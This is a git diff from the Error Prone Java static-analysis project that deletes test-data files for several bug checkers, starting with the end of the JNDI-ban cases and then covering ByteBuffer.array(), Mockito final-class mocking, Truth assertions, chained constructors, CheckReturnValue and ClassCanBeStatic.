javax.naming.directory.DirContext; -import javax.sql.rowset.spi.SyncFactory; -import javax.sql.rowset.spi.SyncFactoryException; - -/** - * {@link BanJNDITest} - * - * @author tshadwell@google.com (Thomas Shadwell) - */ -class BanJNDIPositiveCases { - private static DirContext FakeDirContext = ((DirContext) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsModifyAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.modifyAttributes(((Name) new Object()), 0, ((Attributes) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetAttributes() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getAttributes(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsSearch() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.search(((Name) new Object()), ((Attributes) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetSchema() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchema(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsGetSchemaClassDefinition() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.getSchemaClassDefinition(((Name) new Object())); - } - - private static Context FakeContext = ((Context) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.lookup("hello"); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsSubclassLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.lookup("hello"); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.bind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsBind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.bind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.rebind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsRebind() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.rebind(((Name) new Object()), new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeContext.createSubcontext((Name) new Object()); - } - - @SuppressBanJNDICompletedSecurityReview - private void subclassCallsCreateSubcontext() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - FakeDirContext.createSubcontext((Name) new Object()); - } - - RMIConnector fakeRMIConnector = ((RMIConnector) new Object()); - - @SuppressBanJNDICompletedSecurityReview - private void callsRMIConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - fakeRMIConnector.connect(); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsEnumerateBindings() throws SyncFactoryException { - // BUG: Diagnostic contains: BanJNDI - SyncFactory.getInstance("fear is the little-death"); - } - - // unable to load javax.jdo for testing (must be some super optional pkg?) - - @SuppressBanJNDICompletedSecurityReview - private void callsJMXConnectorFactoryConnect() throws IOException { - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect(((JMXServiceURL) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private void callsDoLookup() throws NamingException { - // BUG: Diagnostic contains: BanJNDI - InitialContext.doLookup(((Name) new Object())); - } - - @SuppressBanJNDICompletedSecurityReview - private static boolean callToJMXConnectorFactoryConnect() - throws java.net.MalformedURLException, java.io.IOException { - JMXConnector connector = - // BUG: Diagnostic contains: BanJNDI - JMXConnectorFactory.connect( - new JMXServiceURL("service:jmx:rmi:///jndi/rmi:// fake data 123 ")); - connector.connect(); - - return false; - } - - @SuppressBanJNDICompletedSecurityReview - private Object subclassesJavaNamingcontext() throws NamingException { - InitialContext c = new InitialContext(new Hashtable(0)); - // BUG: Diagnostic contains: BanJNDI - return c.lookup("hello"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java deleted file mode 100644 index b7e47f6072e..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayNegativeCases.java +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; -import java.nio.ByteBuffer; -import java.util.function.Function; - -/** Negative cases for {@link ByteBufferBackingArrayTest}. */ -public class ByteBufferBackingArrayNegativeCases { - - void noArrayCall_isNotFlagged() { - ByteBuffer buffer = null; - buffer.position(); - } - - void array_precededByArrayOffset_isNotFlagged() { - ByteBuffer buffer = null; - buffer.arrayOffset(); - buffer.array(); - } - - void array_precededByArrayOffset_onOuterScope_isNotFlagged() { - ByteBuffer buffer = null; - buffer.arrayOffset(); - if (true) { - while (true) { - buffer.array(); - } - } - } - - void array_precededByByteBufferWrap_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.wrap(new byte[] {1}); - buffer.array(); - } - - void array_precededByByteBufferAllocate_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1); - buffer.array(); - } - - // Ideally, this case should be flagged though. - void array_followedByByteBufferArrayOffset_isNotFlagged() { - ByteBuffer buffer = null; - buffer.array(); - buffer.arrayOffset(); - } - - // Ideally, this case should be flagged though. - void array_followedByArrayOffset_inExpression_isNotFlagged() { - ByteBuffer buffer = null; - byte[] outBytes; - int outOffset; - int outPos; - if (buffer.hasArray()) { - outBytes = buffer.array(); - outPos = outOffset = buffer.arrayOffset() + buffer.position(); - } - } - - void array_precededByByteBufferAllocate_inSplitMethodChain_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1).put((byte) 'a'); - buffer.array(); - } - - public void array_immediatelyPrecededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() - throws Exception { - ByteBuffer.allocate(0).array(); - } - - void array_precededByByteBufferAllocate_inContinuousMethodChain_isNotFlagged() { - ByteBuffer.allocate(Long.SIZE / Byte.SIZE).putLong(1L).array(); - } - - byte[] array_inMethodChain_precededByByteBufferAllocate_isNotFlagged() { - ByteBuffer buffer = ByteBuffer.allocate(1); - return buffer.put(new byte[] {1}).array(); - } - - class A { - // Ideally, this case should be flagged though. - void array_inMethodChain_whereByteBufferIsNotAtStartOfChain_isNotFlagged() { - A helper = new A(); - helper.getBuffer().put((byte) 1).array(); - } - - ByteBuffer getBuffer() { - return null; - } - } - - class B { - ByteBuffer buffer = ByteBuffer.allocate(1); - - void array_precededByByteBufferAllocate_inField_isNotFlagged() { - buffer.array(); - } - } - - class C { - ByteBuffer buffer = ByteBuffer.allocate(1); - - class A { - void array_precededByByteBufferAllocate_inFieldOfParentClass_isNotFlagged() { - buffer.array(); - } - } - } - - class ArrayInFieldPrecededByByteBufferAllocateInFieldIsNotFlagged { - ByteBuffer buffer = ByteBuffer.allocate(1); - byte[] array = buffer.array(); - } - - void array_inAnonymousClass_precededByByteBufferAllocate_isNotFlagged() { - final ByteBuffer buffer = ByteBuffer.allocate(0); - - new Function() { - @Override - public Object apply(Object o) { - buffer.array(); - return null; - } - }; - } - - void array_inLambdaExpression_precededByByteBufferAllocate_isNotFlagged() { - final ByteBuffer buffer = ByteBuffer.allocate(0); - - Function f = - (Void unused) -> { - buffer.array(); - return null; - }; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java deleted file mode 100644 index 018ad1f508a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ByteBufferBackingArrayPositiveCases.java +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.bugpatterns.ByteBufferBackingArrayTest; -import java.nio.ByteBuffer; - -/** Positive cases for {@link ByteBufferBackingArrayTest}. */ -public class ByteBufferBackingArrayPositiveCases { - - public void array_notPrecededByOffsetNorValidInitializer_asLocalVariable_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - class A { - - ByteBuffer buff = null; - - void array_notPrecededByOffsetNorValidInitializer_asField_isFlagged() { - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - } - - class ArrayCalledInFieldNotPrecededByOffsetNorValidInitializerAsFieldIsFlagged { - ByteBuffer buffer = null; - // BUG: Diagnostic contains: ByteBuffer.array() - byte[] array = buffer.array(); - } - - void array_notPrecededByOffsetNorValidInitializer_asMethodParameter_isFlagged(ByteBuffer buffer) { - // BUG: Diagnostic contains: ByteBuffer.array() - buffer.array(); - } - - void array_followedByWrap_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - buff = ByteBuffer.wrap(new byte[] {1}); - } - - void array_followedByAllocate_isFlagged() { - ByteBuffer buff = null; - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - buff = ByteBuffer.allocate(1); - } - - void array_precededByAllocateDirect_isFlagged() { - ByteBuffer buff = null; - buff = ByteBuffer.allocateDirect(1); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - void array_precededByAllocateOnAnotherBuffer_isFlagged() { - ByteBuffer otherBuff = ByteBuffer.allocate(1); - ByteBuffer buff = null; - otherBuff.arrayOffset(); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } - - void array_precededByNotAValidMethod_isFlagged() { - ByteBuffer buff = null; - buff.position(); - // BUG: Diagnostic contains: ByteBuffer.array() - buff.array(); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java deleted file mode 100644 index 700533d1b8b..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases.java +++ /dev/null @@ -1,32 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass. */ -@RunWith(JUnit4.class) -public class CannotMockFinalClassNegativeCases { - static class NonFinalClass {} - - @Mock NonFinalClass okToMock; - - public void method() { - NonFinalClass local = Mockito.mock(NonFinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java deleted file mode 100644 index f727d8eb984..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassNegativeCases2.java +++ /dev/null @@ -1,29 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass in the absence of @RunWith(JUnit4.class). */ -public class CannotMockFinalClassNegativeCases2 { - static final class FinalClass {} - - @Mock FinalClass impossible; - - public void method() { - FinalClass local = Mockito.mock(FinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java deleted file mode 100644 index eb536f36ba0..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CannotMockFinalClassPositiveCases.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -import org.junit.runner.RunWith; -import org.junit.runners.JUnit4; -import org.mockito.Mock; -import org.mockito.Mockito; - -/** Test for CannotMockFinalClass. */ -@RunWith(JUnit4.class) -public class CannotMockFinalClassPositiveCases { - static final class FinalClass {} - - // BUG: Diagnostic contains: Mockito cannot mock - @Mock FinalClass impossible; - - public void method() { - // BUG: Diagnostic contains: Mockito cannot mock - FinalClass local = Mockito.mock(FinalClass.class); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java deleted file mode 100644 index c35eea5d4d1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextNegativeCases.java +++ /dev/null @@ -1,71 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertAbout; -import static com.google.common.truth.Truth.assertThat; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainedAssertionLosesContextNegativeCases { - static final class FooSubject extends Subject { - private final Foo actual; - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - static Factory foos() { - return FooSubject::new; - } - - static FooSubject assertThat(Foo foo) { - return assertAbout(foos()).that(foo); - } - } - - void someTestMethod() { - assertThat("").isNotNull(); - } - - private static final class Foo { - final String string; - final int integer; - - Foo(String string, int integer) { - this.string = string; - this.integer = integer; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java deleted file mode 100644 index 2307edaf4ba..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainedAssertionLosesContextPositiveCases.java +++ /dev/null @@ -1,108 +0,0 @@ -/* - * Copyright 2019 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import static com.google.common.truth.Truth.assertAbout; -import static com.google.common.truth.Truth.assertWithMessage; -import static com.google.common.truth.Truth.assert_; - -import com.google.common.truth.FailureMetadata; -import com.google.common.truth.Subject; -import com.google.common.truth.Truth; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainedAssertionLosesContextPositiveCases { - static final class FooSubject extends Subject { - private final Foo actual; - - static Factory foos() { - return FooSubject::new; - } - - static FooSubject assertThat(Foo foo) { - return assertAbout(foos()).that(foo); - } - - private FooSubject(FailureMetadata metadata, Foo actual) { - super(metadata, actual); - this.actual = actual; - } - - void hasString(String expected) { - // BUG: Diagnostic contains: check("string()").that(actual.string()).isEqualTo(expected) - Truth.assertThat(actual.string()).isEqualTo(expected); - } - - void hasOtherFooInteger(int expected) { - // BUG: Diagnostic contains: - // check("otherFoo().integer()").that(actual.otherFoo().integer()).isEqualTo(expected) - Truth.assertThat(actual.otherFoo().integer()).isEqualTo(expected); - } - - FooSubject otherFooAbout() { - // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) - return assertAbout(foos()).that(actual.otherFoo()); - } - - FooSubject otherFooThat() { - // BUG: Diagnostic contains: check("otherFoo()").about(foos()).that(actual.otherFoo()) - return assertThat(actual.otherFoo()); - } - - void withMessage(String expected) { - // BUG: Diagnostic contains: - // check("string()").withMessage("blah").that(actual.string()).isEqualTo(expected) - assertWithMessage("blah").that(actual.string()).isEqualTo(expected); - } - - void withMessageWithArgs(String expected) { - // BUG: Diagnostic contains: - // check("string()").withMessage("%s", "blah").that(actual.string()).isEqualTo(expected) - assertWithMessage("%s", "blah").that(actual.string()).isEqualTo(expected); - } - - void plainAssert(String expected) { - // BUG: Diagnostic contains: - // check("string()").that(actual.string()).isEqualTo(expected) - assert_().that(actual.string()).isEqualTo(expected); - } - } - - private static final class Foo { - final String string; - final int integer; - - Foo(String string, int integer) { - this.string = string; - this.integer = integer; - } - - String string() { - return string; - } - - int integer() { - return integer; - } - - Foo otherFoo() { - return this; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java deleted file mode 100644 index c113286e895..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ChainingConstructorIgnoresParameterNegativeCases.java +++ /dev/null @@ -1,117 +0,0 @@ -/* - * Copyright 2014 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import java.io.File; - -/** - * @author cpovirk@google.com (Chris Povirk) - */ -public class ChainingConstructorIgnoresParameterNegativeCases { - static class ImplicitThisCall { - ImplicitThisCall() {} - - ImplicitThisCall(String foo) {} - } - - static class ExplicitNoArgThisCall { - ExplicitNoArgThisCall() {} - - ExplicitNoArgThisCall(String foo) { - this(); - } - } - - static class ParameterNotAvailable { - ParameterNotAvailable(String foo, boolean bar) {} - - ParameterNotAvailable(String foo) { - this(foo, false); - } - } - - static class ParameterDifferentType { - ParameterDifferentType(File foo) {} - - ParameterDifferentType(String foo) { - this(new File("/tmp")); - } - } - - static class ParameterUsedInExpression { - ParameterUsedInExpression(String foo, boolean bar) {} - - ParameterUsedInExpression(String foo) { - this(foo.substring(0), false); - } - } - - /** Make sure that we don't confuse a nested class's constructor with the containing class's. */ - static class HasNestedClass { - HasNestedClass(String foo) { - this("somethingElse", false); - } - - static class NestedClass { - NestedClass(String foo, boolean bar) {} - } - - HasNestedClass(String notFoo, boolean bar) {} - } - - static class HasNestedClassesWithSameName { - static class Outer1 { - static class Inner { - Inner(String foo, boolean bar) {} - } - } - - static class Outer2 { - static class Inner { - Inner(String foo) { - this("somethingElse", false); - } - - Inner(String notFoo, boolean bar) {} - } - } - } - - class NonStaticClass { - NonStaticClass(String foo, boolean bar) {} - - NonStaticClass(String foo) { - this(foo, false); - } - } - - static class Varargs1 { - Varargs1(String foo, boolean... bar) {} - - Varargs1() { - this("something", false, false); - } - } - - static class Varargs2 { - Varargs2(String foo, boolean... bar) {} - - Varargs2() { - this("something"); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java deleted file mode 100644 index 7973b1ee4a5..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValueNegativeCases.java +++ /dev/null @@ -1,69 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CheckReturnValue; -import java.util.function.Supplier; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class CheckReturnValueNegativeCases { - - public void test1() { - test2(); - Object obj = new String(); - obj.toString(); - } - - @SuppressWarnings("foo") // wrong annotation - public void test2() {} - - @CheckReturnValue - private int mustCheck() { - return 5; - } - - private int nothingToCheck() { - return 42; - } - - private void callRunnable(Runnable runnable) { - runnable.run(); - } - - private void testNonCheckedCallsWithMethodReferences() { - Object obj = new String(); - callRunnable(String::new); - callRunnable(this::test2); - callRunnable(obj::toString); - } - - private void callSupplier(Supplier supplier) { - supplier.get(); - } - - public void testResolvedToIntLambda(boolean predicate) { - callSupplier(() -> mustCheck()); - callSupplier(predicate ? () -> mustCheck() : () -> nothingToCheck()); - } - - public void testMethodReference(boolean predicate) { - callSupplier(this::mustCheck); - callSupplier(predicate ? this::mustCheck : this::nothingToCheck); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java deleted file mode 100644 index ec4f808b92a..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/CheckReturnValuePositiveCases.java +++ /dev/null @@ -1,195 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import com.google.errorprone.annotations.CheckReturnValue; -import org.junit.rules.ExpectedException; - -/** - * @author eaftan@google.com (Eddie Aftandilian) - */ -public class CheckReturnValuePositiveCases { - - IntValue intValue = new IntValue(0); - - @CheckReturnValue - private int increment(int bar) { - return bar + 1; - } - - public void foo() { - int i = 1; - // BUG: Diagnostic contains: The result of `increment(...)` must be used - // - // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. - // - // If callers of `increment(...)` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - increment(i); - System.out.println(i); - } - - public void bar() { - // BUG: Diagnostic contains: this.intValue = this.intValue.increment() - this.intValue.increment(); - } - - public void testIntValue() { - IntValue value = new IntValue(10); - // BUG: Diagnostic contains: value = value.increment() - value.increment(); - } - - private void callRunnable(Runnable runnable) { - runnable.run(); - } - - public void testResolvedToVoidLambda() { - // BUG: Diagnostic contains: - callRunnable(() -> this.intValue.increment()); - } - - public void testResolvedToVoidMethodReference(boolean predicate) { - // BUG: Diagnostic contains: The result of `increment()` must be used - // - // `this.intValue::increment` acts as an implementation of `Runnable.run` - // -- which is a `void` method, so it doesn't use the result of `increment()`. - // - // To use the result, you may need to restructure your code. - // - // If you really don't want to use the result, then switch to a lambda that assigns it to a - // variable: `() -> { var unused = ...; }`. - // - // If callers of `increment()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - callRunnable(this.intValue::increment); - // BUG: Diagnostic contains: The result of `increment()` must be used - callRunnable(predicate ? this.intValue::increment : this.intValue::increment2); - } - - public void testConstructorResolvedToVoidMethodReference() { - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - // - // `MyObject::new` acts as an implementation of `Runnable.run` - // -- which is a `void` method, so it doesn't use the result of `new MyObject()`. - // - // To use the result, you may need to restructure your code. - // - // If you really don't want to use the result, then switch to a lambda that assigns it to a - // variable: `() -> { var unused = ...; }`. - // - // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - callRunnable(MyObject::new); - } - - public void testRegularLambda() { - callRunnable( - () -> { - // BUG: Diagnostic contains: - this.intValue.increment(); - }); - } - - public void testBeforeAndAfterRule() { - // BUG: Diagnostic contains: - new IntValue(1).increment(); - ExpectedException.none().expect(IllegalStateException.class); - new IntValue(1).increment(); // No error here, last statement in block - } - - public void constructor() { - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - new MyObject() {}; - - class MySubObject1 extends MyObject {} - - class MySubObject2 extends MyObject { - MySubObject2() {} - } - - class MySubObject3 extends MyObject { - MySubObject3() { - super(); - } - } - - // BUG: Diagnostic contains: The result of `new MyObject()` must be used - // - // If you really don't want to use the result, then assign it to a variable: `var unused = ...`. - // - // If callers of `MyObject()` shouldn't be required to use its result, then annotate it with - // `@CanIgnoreReturnValue`. - new MyObject(); - } - - private class IntValue { - final int i; - - public IntValue(int i) { - this.i = i; - } - - @javax.annotation.CheckReturnValue - public IntValue increment() { - return new IntValue(i + 1); - } - - public void increment2() { - // BUG: Diagnostic contains: - this.increment(); - } - - public void increment3() { - // BUG: Diagnostic contains: - increment(); - } - } - - private static class MyObject { - @CheckReturnValue - MyObject() {} - } - - private abstract static class LB1 {} - - private static class LB2 extends LB1 { - - @CheckReturnValue - public static LB2 lb1() { - return new LB2(); - } - - public static LB2 lb2() { - // BUG: Diagnostic contains: - lb1(); - return lb1(); - } - } - - private static class JavaxAnnotation { - @javax.annotation.CheckReturnValue - public static int check() { - return 1; - } - - public static void ignoresCheck() { - // BUG: Diagnostic contains: - check(); - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java deleted file mode 100644 index 7b9ab57e4c2..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/testdata/ClassCanBeStaticNegativeCases.java +++ /dev/null @@ -1,94 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -/** - * @author alexloh@google.com (Alex Loh) - */ -public class ClassCanBeStaticNegativeCases { - int outerVar; - - public int outerMethod() { - return 0; - } - - public static class Inner1 { // inner class already static - int innerVar; - } - - public class Inner2 { // inner class references an outer variable - int innerVar = outerVar; - } - - public class Inner3 { // inner class references an outer variable in a method - int localMethod() { - return outerVar; - } - } - - public class Inner4 { // inner class references an outer method in a method - int localMethod() { - return outerMethod(); - } - } - - // outer class is a nested but non-static, and thus cannot have a static class - class NonStaticOuter { - int nonStaticVar = outerVar; - - class Inner5 {} - } - - // inner class is local and thus cannot be static - void foo() { - class Inner6 {} - } - - // inner class is anonymous and thus cannot be static - Object bar() { - return new Object() {}; - } - - // enums are already static - enum Inner7 { - RED, - BLUE, - VIOLET, - } - - // outer class is a nested but non-static, and thus cannot have a static class - void baz() { - class NonStaticOuter2 { - int nonStaticVar = outerVar; - - class Inner8 {} - } - } - - // inner class references a method from inheritance - public interface OuterInter { - int outerInterMethod(); - } - - abstract static class AbstractOuter implements OuterInter { - class Inner8 { - int localMethod() { - return outerInterMethod(); - } - } - } -} diff --git 